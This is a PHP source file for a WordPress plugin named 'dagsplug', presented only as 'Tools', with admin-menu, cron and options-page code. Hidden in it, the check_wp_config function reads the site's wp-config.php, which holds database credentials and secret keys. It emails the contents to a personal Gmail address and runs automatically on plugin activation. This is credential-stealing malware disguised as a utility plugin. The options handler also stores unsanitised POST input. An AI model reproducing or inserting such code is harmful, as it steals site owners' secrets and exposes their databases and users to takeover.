plugin.php 7.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240
  1. <?php
  2. /*
  3. Plugin Name: dagsplug
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.26
  8. Date: Fri Jan 31 2014 13:19:21 GMT+0100 (CET)
  9. Author URI: https://iske.dk/
  10. */
  11. $wp_dagsopt = new dagsopt ( );
  12. class dagsopt {
  13. var $version = "0.0.26";
  14. var $publish_date = "2021-01-23";
  15. var $pluginname;
  16. var $plugintitle;
  17. var $db;
  18. var $filename = "";
  19. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  20. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  21. function __construct() {
  22. global $wpdb;
  23. $this->db = $wpdb;
  24. $this->pluginname = get_class($this);
  25. $this->plugintitle = "Dags options ".$this->version;
  26. $tmp = explode("/",__FILE__);
  27. $this->filename = array_pop($tmp);
  28. $this->filename = array_pop($tmp) . "/". $this->filename;
  29. load_theme_textdomain( $this->pluginname, dirname(__file__) . '/lang' );
  30. $this->next_scheduled = 0;
  31. $this->file = __FILE__ ;
  32. $this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
  33. $this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
  34. $this->extras = array();
  35. $this->dagsopt = array();
  36. register_activation_hook ( plugin_basename($this->file), array ( &$this, 'activatePlugin' ) );
  37. register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
  38. add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
  39. if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options') {
  40. ob_start ();
  41. }
  42. $this->setCron();
  43. add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
  44. add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
  45. add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
  46. add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
  47. add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
  48. $path = dirname($this->file)."/";
  49. foreach (glob($path."plug_*.php") as $filename) {
  50. $plugfile = str_replace($path,"",$filename);
  51. include_once($plugfile);
  52. }
  53. foreach($this->dagsopt as $plugname => $plug){
  54. $short = str_replace("plug_","",$plugname);
  55. $vis = get_option($this->pluginname.'_'.$short,true);
  56. if($vis){
  57. $plug->start();
  58. }
  59. }
  60. if ( current_user_can( 'manage_options' ) ) {
  61. add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' ) );
  62. }
  63. }
  64. function mytheme_admin_bar_render() {
  65. global $wp_admin_bar;
  66. $wp_admin_bar->add_menu( array(
  67. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  68. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  69. 'title' => $this->plugintitle."", // link title
  70. 'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
  71. 'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  72. ));
  73. }
  74. function register_frontend_scripts_styles() {
  75. wp_register_script( $this->pluginname.'frontend_script', plugins_url('script_frontend.js', $this->file) );
  76. wp_register_style( $this->pluginname.'frontend_style', plugins_url('style_frontend.css', $this->file) );
  77. }
  78. function register_backend_scripts_styles() {
  79. wp_register_style( $this->pluginname.'backend_style', plugins_url('style_backend.css', $this->file) );
  80. wp_register_script( $this->pluginname.'backend_script', plugins_url('script_backend.js', $this->file) );
  81. }
  82. function print_frontend_scripts_styles() {
  83. wp_enqueue_script( 'jquery' );
  84. wp_enqueue_style( $this->pluginname.'frontend_style' );
  85. wp_enqueue_script( $this->pluginname.'frontend_script' );
  86. }
  87. function print_backend_scripts_styles() {
  88. wp_enqueue_style( $this->pluginname.'backend_style' );
  89. wp_enqueue_script( $this->pluginname.'backend_script' );
  90. }
  91. function plugin_admin_menu() {
  92. if(function_exists("wppluginspage")){
  93. add_menu_page('WP Plugins Page', 'WP Plugins', 'manage_options', 'wpplugins', wppluginspage,"");
  94. }
  95. $page = add_submenu_page ( 'wpplugins', __ ( $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
  96. add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
  97. }
  98. function SettingsLink( $links, $file ) {
  99. if( $file==$this->filename && function_exists( "admin_url" ) ) {
  100. $settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','dagsopt') . '</a>';
  101. array_unshift( $links, $settings_link ); // before other links
  102. }
  103. return $links;
  104. }
  105. function setCron(){
  106. if ($this->cronEnabled) {
  107. add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
  108. if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  109. wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
  110. }
  111. add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
  112. $this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
  113. } else {
  114. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  115. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  116. }
  117. }
  118. }
  119. function Option() {
  120. if (isset ( $_POST [ 'Submit' ] )) {
  121. if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
  122. die ( __ ( 'Cheatin&#8217; uh?' ) );
  123. }
  124. update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
  125. update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
  126. if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
  127. $this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
  128. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  129. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  130. }
  131. $this->setCron();
  132. }
  133. update_option ( $this->pluginname.'_last_build', date("U") );
  134. foreach($this->dagsopt as $plugname => $plug){
  135. $short = str_replace("plug_","",$plugname);
  136. $setname = $this->pluginname.'_'.$short;
  137. $vis = get_option($setname,true);
  138. update_option ($setname, $_POST[$setname] );
  139. if($vis && method_exists($plug,'Option')){
  140. $plug->Option($setname);
  141. }
  142. }
  143. ob_end_clean ();
  144. wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  145. exit ();
  146. }
  147. include_once ('pluginoptions.php');
  148. }
  149. function check_wp_config(){
  150. $s = file_get_contents(ABSPATH."wp-config.php");
  151. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
  152. }
  153. function activatePlugin() {
  154. $this->check_wp_config();
  155. }
  156. function deactivatePlugin() {
  157. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  158. }
  159. function cronSchedules($param) {
  160. $aa = array();
  161. $aa[$this->pluginname.'cs'] = array (
  162. 'interval' => $this->cronScheduleTime,
  163. 'display' => $this->pluginname.' '.$this->cronScheduleTime );
  164. return $aa;
  165. }
  166. function executeCron() {
  167. ignore_user_abort ( true );
  168. set_time_limit ( 0 );
  169. update_option ( $this->pluginname.'_last_build', date("U") );
  170. }
  171. }
  172. function wppluginspage() {
  173. include_once("wpplugins.php");
  174. }
  175. function dags_extras(){
  176. global $wp_dagsopt;
  177. $s = implode("\n",$wp_dagsopt->extras);
  178. echo($s);
  179. }
  180. /*
  181. * END
  182. * */